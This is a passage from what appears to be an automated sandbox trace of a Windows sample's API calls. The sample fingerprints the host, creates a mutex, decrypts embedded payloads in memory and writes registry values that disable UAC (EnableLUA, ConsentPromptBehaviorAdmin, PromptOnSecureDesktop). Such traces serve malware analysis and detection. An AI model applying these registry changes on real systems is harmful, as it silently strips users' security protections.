nBufferLength=0x105, lpBuffer=0x1b20c6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX", lpFilePart=0x0) returned 0x15 [0104.544] CoTaskMemAlloc (cb=0x20c) returned 0x35dee0 [0104.544] GetSystemDirectoryW (in: lpBuffer=0x35dee0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0104.544] CoTaskMemFree (pv=0x35dee0) [0104.553] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1b20c720, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0104.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b20cd60) returned 1 [0104.559] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x1b20cdf8, lpTotalNumberOfBytes=0x1b20cdf0, lpTotalNumberOfFreeBytes=0x1b20cde8 | out: lpFreeBytesAvailableToCaller=0x1b20cdf8, lpTotalNumberOfBytes=0x1b20cdf0, lpTotalNumberOfFreeBytes=0x1b20cde8) returned 1 [0104.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b20cd10) returned 1 [0104.670] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1b20cc80 | out: pfEnabled=0x1b20cc80) returned 0x0 [0105.042] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b20ca78 | out: phkResult=0x1b20ca78*=0x39c) returned 0x0 [0105.045] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x0, lpcbData=0x1b20cac0*=0x0 | out: lpType=0x1b20cac8*=0x4, lpData=0x0, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.045] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x1b20caa8, lpcbData=0x1b20cac0*=0x4 | out: lpType=0x1b20cac8*=0x4, lpData=0x1b20caa8*=0x60636, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.046] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x0, lpcbData=0x1b20cac0*=0x0 | out: lpType=0x1b20cac8*=0x4, lpData=0x0, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.046] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x1b20caa8, lpcbData=0x1b20cac0*=0x4 | out: lpType=0x1b20cac8*=0x4, lpData=0x1b20caa8*=0x60636, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.047] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x0, lpcbData=0x1b20cac0*=0x0 | out: lpType=0x1b20cac8*=0x4, lpData=0x0, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.047] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x1b20caa8, lpcbData=0x1b20cac0*=0x4 | out: lpType=0x1b20cac8*=0x4, lpData=0x1b20caa8*=0x60636, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.047] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x0, lpcbData=0x1b20cac0*=0x0 | out: lpType=0x1b20cac8*=0x4, lpData=0x0, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.047] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x1b20caa8, lpcbData=0x1b20cac0*=0x4 | out: lpType=0x1b20cac8*=0x4, lpData=0x1b20caa8*=0x60636, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.048] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x0, lpcbData=0x1b20cac0*=0x0 | out: lpType=0x1b20cac8*=0x4, lpData=0x0, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.048] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x1b20caa8, lpcbData=0x1b20cac0*=0x4 | out: lpType=0x1b20cac8*=0x4, lpData=0x1b20caa8*=0x60636, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.048] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x0, lpcbData=0x1b20cac0*=0x0 | out: lpType=0x1b20cac8*=0x4, lpData=0x0, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.048] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1b20cac8, lpData=0x1b20caa8, lpcbData=0x1b20cac0*=0x4 | out: lpType=0x1b20cac8*=0x4, lpData=0x1b20caa8*=0x60636, lpcbData=0x1b20cac0*=0x4) returned 0x0 [0105.050] RegCloseKey (hKey=0x39c) returned 0x0 [0105.061] GetComputerNameW (in: lpBuffer=0x1b20df30, nSize=0x1b20e258 | out: lpBuffer="XC64ZB", nSize=0x1b20e258) returned 1 [0105.066] GetUserNameW (in: lpBuffer=0x1b20df50, pcbBuffer=0x1b20e278 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1b20e278) returned 1 [0105.235] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="51b7c2937dcd51371bf473f140592a8b88356288") returned 0x0 [0105.260] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Local\\51b7c2937dcd51371bf473f140592a8b88356288") returned 0x300 [0109.023] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a00, lpName=0x0) returned 0x2f0 [0109.024] memcpy (in: _Dst=0x2270000, _Src=0x257b2b8, _Size=0x7a00 | out: _Dst=0x2270000) returned 0x2270000 [0110.131] CryptAcquireContextW (in: phProv=0x1b20b8e8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20b8e8*=0x35a1d0) returned 1 [0110.151] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x1 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.152] CoTaskMemAlloc (cb=0x20) returned 0x36bd10 [0110.152] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36bd10, pdwDataLen=0x1b20b8a0, dwFlags=0x1 | out: pbData=0x36bd10, pdwDataLen=0x1b20b8a0) returned 1 [0110.153] CoTaskMemFree (pv=0x36bd10) [0110.153] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.153] CoTaskMemAlloc (cb=0x20) returned 0x36c460 [0110.153] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c460, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c460, pdwDataLen=0x1b20b8a0) returned 1 [0110.153] CoTaskMemFree (pv=0x36c460) [0110.153] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.153] CoTaskMemAlloc (cb=0x20) returned 0x36c0a0 [0110.153] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c0a0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c0a0, pdwDataLen=0x1b20b8a0) returned 1 [0110.153] CoTaskMemFree (pv=0x36c0a0) [0110.153] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemAlloc (cb=0x20) returned 0x36c5e0 [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c5e0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c5e0, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemFree (pv=0x36c5e0) [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemAlloc (cb=0x20) returned 0x36c460 [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c460, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c460, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemFree (pv=0x36c460) [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemAlloc (cb=0x20) returned 0x36be00 [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36be00, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36be00, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemFree (pv=0x36be00) [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemAlloc (cb=0x20) returned 0x36c160 [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c160, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c160, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemFree (pv=0x36c160) [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemAlloc (cb=0x20) returned 0x36bd10 [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36bd10, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36bd10, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemFree (pv=0x36bd10) [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.154] CoTaskMemAlloc (cb=0x20) returned 0x36c460 [0110.154] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c460, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c460, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemFree (pv=0x36c460) [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemAlloc (cb=0x20) returned 0x36c070 [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c070, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c070, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemFree (pv=0x36c070) [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemAlloc (cb=0x20) returned 0x36bfe0 [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36bfe0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36bfe0, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemFree (pv=0x36bfe0) [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemAlloc (cb=0x20) returned 0x36bd10 [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36bd10, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36bd10, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemFree (pv=0x36bd10) [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemAlloc (cb=0x20) returned 0x36c070 [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c070, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c070, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemFree (pv=0x36c070) [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.155] CoTaskMemAlloc (cb=0x20) returned 0x36bd10 [0110.155] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36bd10, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36bd10, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemFree (pv=0x36bd10) [0110.156] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemAlloc (cb=0x20) returned 0x36c070 [0110.156] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c070, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c070, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemFree (pv=0x36c070) [0110.156] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemAlloc (cb=0x20) returned 0x36c460 [0110.156] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c460, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c460, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemFree (pv=0x36c460) [0110.156] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemAlloc (cb=0x20) returned 0x36c070 [0110.156] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c070, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c070, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemFree (pv=0x36c070) [0110.156] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemAlloc (cb=0x20) returned 0x36c5e0 [0110.156] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36c5e0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36c5e0, pdwDataLen=0x1b20b8a0) returned 1 [0110.156] CoTaskMemFree (pv=0x36c5e0) [0110.157] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.157] CoTaskMemAlloc (cb=0x20) returned 0x36bdd0 [0110.157] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36bdd0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36bdd0, pdwDataLen=0x1b20b8a0) returned 1 [0110.157] CoTaskMemFree (pv=0x36bdd0) [0110.157] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 1 [0110.157] CoTaskMemAlloc (cb=0x20) returned 0x36bd10 [0110.157] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x36bd10, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x36bd10, pdwDataLen=0x1b20b8a0) returned 1 [0110.157] CoTaskMemFree (pv=0x36bd10) [0110.157] CryptGetProvParam (in: hProv=0x35a1d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b20b8a0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b20b8a0) returned 0 [0110.171] CryptImportKey (in: hProv=0x35a1d0, pbData=0x258fd68*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20b870 | out: phKey=0x1b20b870*=0x329fc0) returned 1 [0110.175] CryptContextAddRef (hProv=0x35a1d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0110.175] CryptContextAddRef (hProv=0x35a1d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0110.176] CryptDuplicateKey (in: hKey=0x329fc0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20b860 | out: phKey=0x1b20b860*=0x32a0a0) returned 1 [0110.176] CryptContextAddRef (hProv=0x35a1d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0110.176] CryptSetKeyParam (hKey=0x32a0a0, dwParam=0x4, pbData=0x258feb0*=0x1, dwFlags=0x0) returned 1 [0110.177] CryptSetKeyParam (hKey=0x32a0a0, dwParam=0x1, pbData=0x258fe60, dwFlags=0x0) returned 1 [0110.177] CryptDestroyKey (hKey=0x329fc0) returned 1 [0110.177] CryptReleaseContext (hProv=0x35a1d0, dwFlags=0x0) returned 1 [0110.179] CryptReleaseContext (hProv=0x35a1d0, dwFlags=0x0) returned 1 [0110.181] CryptDecrypt (in: hKey=0x32a0a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x258fed0, pdwDataLen=0x1b20b9c0 | out: pbData=0x258fed0, pdwDataLen=0x1b20b9c0) returned 1 [0110.190] CryptDecrypt (in: hKey=0x32a0a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2590678, pdwDataLen=0x1b20b9b0 | out: pbData=0x2590678, pdwDataLen=0x1b20b9b0) returned 0 [0110.608] CryptDestroyKey (hKey=0x32a0a0) returned 1 [0110.608] CryptReleaseContext (hProv=0x35a1d0, dwFlags=0x0) returned 1 [0110.608] CryptReleaseContext (hProv=0x35a1d0, dwFlags=0x0) returned 1 [0110.954] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x3a8 [0110.954] memcpy (in: _Dst=0x2280000, _Src=0x25a4ea0, _Size=0x1000 | out: _Dst=0x2280000) returned 0x2280000 [0111.006] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14e00, lpName=0x0) returned 0x3a8 [0111.006] memcpy (in: _Dst=0x22a0000, _Src=0x13110b60, _Size=0x14e00 | out: _Dst=0x22a0000) returned 0x22a0000 [0111.329] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x3b8 [0111.329] memcpy (in: _Dst=0x1ac90000, _Src=0x25b14a8, _Size=0x1000 | out: _Dst=0x1ac90000) returned 0x1ac90000 [0111.367] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a00, lpName=0x0) returned 0x3b8 [0111.367] memcpy (in: _Dst=0x1aca0000, _Src=0x25b5340, _Size=0x9a00 | out: _Dst=0x1aca0000) returned 0x1aca0000 [0111.865] CryptAcquireContextW (in: phProv=0x1b20b558, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20b558*=0x35a4d0) returned 1 [0111.867] CryptImportKey (in: hProv=0x35a4d0, pbData=0x25c15e8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20b4e0 | out: phKey=0x1b20b4e0*=0x329fc0) returned 1 [0111.867] CryptContextAddRef (hProv=0x35a4d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0111.867] CryptContextAddRef (hProv=0x35a4d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0111.867] CryptDuplicateKey (in: hKey=0x329fc0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20b4d0 | out: phKey=0x1b20b4d0*=0x32a0a0) returned 1 [0111.868] CryptContextAddRef (hProv=0x35a4d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0111.868] CryptSetKeyParam (hKey=0x32a0a0, dwParam=0x4, pbData=0x25c1708*=0x1, dwFlags=0x0) returned 1 [0111.868] CryptSetKeyParam (hKey=0x32a0a0, dwParam=0x1, pbData=0x25c16b8, dwFlags=0x0) returned 1 [0111.868] CryptDestroyKey (hKey=0x329fc0) returned 1 [0111.868] CryptReleaseContext (hProv=0x35a4d0, dwFlags=0x0) returned 1 [0111.868] CryptReleaseContext (hProv=0x35a4d0, dwFlags=0x0) returned 1 [0111.868] CryptDecrypt (in: hKey=0x32a0a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25c1728, pdwDataLen=0x1b20b630 | out: pbData=0x25c1728, pdwDataLen=0x1b20b630) returned 1 [0111.868] CryptDecrypt (in: hKey=0x32a0a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25c1cd8, pdwDataLen=0x1b20b620 | out: pbData=0x25c1cd8, pdwDataLen=0x1b20b620) returned 0 [0112.387] CryptDestroyKey (hKey=0x32a0a0) returned 1 [0112.387] CryptReleaseContext (hProv=0x35a4d0, dwFlags=0x0) returned 1 [0112.387] CryptReleaseContext (hProv=0x35a4d0, dwFlags=0x0) returned 1 [0112.424] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10200, lpName=0x0) returned 0x3b8 [0112.425] memcpy (in: _Dst=0x1acb0000, _Src=0x25cf008, _Size=0x10200 | out: _Dst=0x1acb0000) returned 0x1acb0000 [0112.570] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x3c0 [0112.571] memcpy (in: _Dst=0x1acd0000, _Src=0x25e5268, _Size=0xe00 | out: _Dst=0x1acd0000) returned 0x1acd0000 [0112.626] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4200, lpName=0x0) returned 0x3d4 [0112.626] memcpy (in: _Dst=0x1b220000, _Src=0x25e8950, _Size=0x4200 | out: _Dst=0x1b220000) returned 0x1b220000 [0113.045] CryptAcquireContextW (in: phProv=0x1b20c098, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20c098*=0x35a0d0) returned 1 [0113.047] CryptImportKey (in: hProv=0x35a0d0, pbData=0x25ef440*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20c020 | out: phKey=0x1b20c020*=0x32a490) returned 1 [0113.047] CryptContextAddRef (hProv=0x35a0d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0113.047] CryptContextAddRef (hProv=0x35a0d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0113.047] CryptDuplicateKey (in: hKey=0x32a490, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20c010 | out: phKey=0x1b20c010*=0x32a2d0) returned 1 [0113.047] CryptContextAddRef (hProv=0x35a0d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0113.048] CryptSetKeyParam (hKey=0x32a2d0, dwParam=0x4, pbData=0x25ef560*=0x1, dwFlags=0x0) returned 1 [0113.048] CryptSetKeyParam (hKey=0x32a2d0, dwParam=0x1, pbData=0x25ef510, dwFlags=0x0) returned 1 [0113.048] CryptDestroyKey (hKey=0x32a490) returned 1 [0113.048] CryptReleaseContext (hProv=0x35a0d0, dwFlags=0x0) returned 1 [0113.048] CryptReleaseContext (hProv=0x35a0d0, dwFlags=0x0) returned 1 [0113.048] CryptDecrypt (in: hKey=0x32a2d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25ef580, pdwDataLen=0x1b20c170 | out: pbData=0x25ef580, pdwDataLen=0x1b20c170) returned 1 [0113.048] CryptDecrypt (in: hKey=0x32a2d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25ef888, pdwDataLen=0x1b20c160 | out: pbData=0x25ef888, pdwDataLen=0x1b20c160) returned 0 [0113.238] CryptDestroyKey (hKey=0x32a2d0) returned 1 [0113.238] CryptReleaseContext (hProv=0x35a0d0, dwFlags=0x0) returned 1 [0113.238] CryptReleaseContext (hProv=0x35a0d0, dwFlags=0x0) returned 1 [0113.263] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b20d498 | out: phkResult=0x1b20d498*=0x3d4) returned 0x0 [0113.264] RegQueryValueExW (in: hKey=0x3d4, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x1b20d5a8, lpData=0x0, lpcbData=0x1b20d5a0*=0x0 | out: lpType=0x1b20d5a8*=0x4, lpData=0x0, lpcbData=0x1b20d5a0*=0x4) returned 0x0 [0113.265] RegSetValueExW (in: hKey=0x3d4, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x1b20d608*=0x0, cbData=0x4 | out: lpData=0x1b20d608*=0x0) returned 0x0 [0113.310] RegCloseKey (hKey=0x3d4) returned 0x0 [0113.310] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b20d498 | out: phkResult=0x1b20d498*=0x3d4) returned 0x0 [0113.310] RegQueryValueExW (in: hKey=0x3d4, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x1b20d5a8, lpData=0x0, lpcbData=0x1b20d5a0*=0x0 | out: lpType=0x1b20d5a8*=0x4, lpData=0x0, lpcbData=0x1b20d5a0*=0x4) returned 0x0 [0113.311] RegSetValueExW (in: hKey=0x3d4, lpValueName="ConsentPromptBehaviorAdmin", Reserved=0x0, dwType=0x4, lpData=0x1b20d608*=0x0, cbData=0x4 | out: lpData=0x1b20d608*=0x0) returned 0x0 [0113.332] RegCloseKey (hKey=0x3d4) returned 0x0 [0113.332] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b20d498 | out: phkResult=0x1b20d498*=0x3d4) returned 0x0 [0113.332] RegQueryValueExW (in: hKey=0x3d4, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x1b20d5a8, lpData=0x0, lpcbData=0x1b20d5a0*=0x0 | out: lpType=0x1b20d5a8*=0x4, lpData=0x0, lpcbData=0x1b20d5a0*=0x4) returned 0x0 [0113.332] RegSetValueExW (in: hKey=0x3d4, lpValueName="PromptOnSecureDesktop", Reserved=0x0, dwType=0x4, lpData=0x1b20d608*=0x0, cbData=0x4 | out: lpData=0x1b20d608*=0x0) returned 0x0 [0113.340] RegCloseKey (hKey=0x3d4) returned 0x0 [0114.020] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b20d498 | out: phkResult=0x1b20d498*=0x0) returned 0x2 